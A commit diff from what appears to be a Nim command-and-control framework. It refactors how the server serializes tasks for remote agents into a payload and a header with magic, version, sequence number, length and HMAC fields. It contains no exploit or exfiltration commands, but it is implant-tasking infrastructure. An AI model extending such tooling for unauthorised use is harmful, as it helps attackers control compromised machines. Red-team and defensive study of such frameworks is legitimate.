Agent fetches serialized task data from prologue web server and successfully parses it.

src/server/task/dispatcher.nim

@@ -179,6 +179,8 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
             task = cq.parseTask(command, parsedArgs[1..^1])
             taskData: seq[byte] = cq.serializeTask(task)    
 
+        # cq.writeLine(taskData.toHexDump())
+
         # Add task to queue
         cq.interactAgent.tasks.add(taskData)
         cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")

src/server/task/packer.nim

@@ -9,31 +9,32 @@ proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
 
     # Serialize payload
     packer
-        .addToPayload(task.taskId)
-        .addToPayload(task.agentId)
-        .addToPayload(task.listenerId)
-        .addToPayload(task.timestamp)
-        .addToPayload(task.command)
-        .addToPayload(task.argCount)
+        .add(task.taskId)
+        .add(task.agentId)
+        .add(task.listenerId)
+        .add(task.timestamp)
+        .add(task.command)
+        .add(task.argCount)
 
     for arg in task.args:
         packer.addArgument(arg)
 
-    let payload = packer.packPayload() 
+    let payload = packer.pack() 
+    packer.reset()
 
     # TODO: Encrypt payload body
 
     # Serialize header 
     packer
-        .addToHeader(task.header.magic)
-        .addToHeader(task.header.version)
-        .addToHeader(task.header.packetType)
-        .addToHeader(task.header.flags)
-        .addToHeader(task.header.seqNr)
-        .addToHeader(cast[uint32](payload.len))
-        .addDataToHeader(task.header.hmac)
+        .add(task.header.magic)
+        .add(task.header.version)
+        .add(task.header.packetType)
+        .add(task.header.flags)
+        .add(task.header.seqNr) 
+        .add(cast[uint32](payload.len))
+        .addData(task.header.hmac)
 
-    let header = packer.packHeader() 
+    let header = packer.pack() 
 
     # TODO: Calculate and patch HMAC